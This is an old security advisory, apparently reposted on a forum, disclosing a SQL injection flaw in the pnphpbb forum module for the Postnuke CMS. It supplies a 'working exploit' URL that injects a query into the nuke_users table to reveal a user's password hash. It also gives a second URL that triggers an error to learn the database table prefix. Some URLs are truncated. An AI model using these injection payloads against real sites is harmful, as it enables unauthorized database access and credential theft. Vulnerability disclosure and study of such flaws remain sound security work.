Sin desperdicio alguno....




[Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor]

Author: Jocanor
Date: 01-03-2k5


1. -----------introduction--------.

Postnuke is an open source CMS (content management system), originally
based in php-nuke. (www.postnuke.com)

pnphpbb is a module for postnuke based in popular forum system phpbb.
(www.phpbb.com)

2. ------------the bug------------

in 26 -03-04 janek vind discovers a bug in phpbb forums, in prvmsg.php
file described in the bugtraq id 9984 and the bug affects also to
php-nuke; butraq privades exploits for exploit this bug in php-nuke and
phpbb.

But the module Pnphpbb (postnuke phpbb) is also vulnerable to this
issue, and its easy to exploit:

http://www.example.com/index.php?nam...gs_type=-99%20[sql
here]

3 -------- the exploit ----------

Working exploit:

http://www.example.com/index.php?nam...null,null,null
,null,null,null,null,null,null,null,null,null,null ,null,null,null%20from%20nuke_users%20where%20pn_u id=2/*

Show password hash for the user with uid = 2.

4. ------important notes-----

Note: if don't works, changue the prefix nuke_ for the valid prefix, you
can get the valid table prefix causing an error like this:

http://www.example.com/index.php?nam...gs_type=-99%20'


5----- Contact -----

Author: Jocanor
Location: Spain
Email: jocanor [at] gmail [dot] com

JoCaNoR SeCuRiTy ReaSoNS

EOF.